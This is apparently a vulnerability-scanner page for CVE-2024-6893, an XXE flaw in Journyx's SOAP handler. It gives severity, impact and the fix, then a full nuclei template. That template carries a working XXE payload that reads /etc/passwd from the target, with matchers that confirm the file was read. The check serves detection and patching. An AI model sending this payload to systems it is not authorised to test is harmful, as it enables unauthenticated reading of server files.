Journyx - XML External Entities Injection (XXE)

highseverity

7.5CVSS score

32.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The "soap_cgi.pyc" API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources.

Impact

Unauthenticated attackers can exploit XXE to read local files, perform SSRF attacks, and cause denial of service by overwhelming server resources.

Fix

Update Journyx to version 11.5.5 or later to address the XXE vulnerability.

How to confirm it

Send: POST /jtcgi/soap_cgi.pyc
Positive when: matches /root:.*:0:0:/ AND contains in header "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6893 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6893

info:
  name: Journyx - XML External Entities Injection (XXE)
  author: s4e-io
  severity: high
  description: |
    The "soap_cgi.pyc" API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources.
  impact: |
    Unauthenticated attackers can exploit XXE to read local files, perform SSRF attacks, and cause denial of service by overwhelming server resources.
  remediation: |
    Update Journyx to version 11.5.5 or later to address the XXE vulnerability.
  reference:
    - https://securityforeveryone.com/tools/journyx-xxe-cve-2024-6893
    - https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt
    - https://packetstormsecurity.com/files/180005/Journyx-11.5.4-XML-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-6893
    cwe-id: CWE-611
    epss-score: 0.32916
    epss-percentile: 0.98369
  metadata:
    max-request: 1
    vendor: journyx
    product: journyx-jtime
    fofa-query: icon_hash="-109972155"
  tags: cve,cve2024,journyx,xxe,vkev,vuln

variables:
  pass: "{{rand_text_alpha(5)}}"

http:
  - raw:
      - |
        POST /jtcgi/soap_cgi.pyc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>{{pass}}</curpwd><newpwd>{{pass}}</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "invalid password for user"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from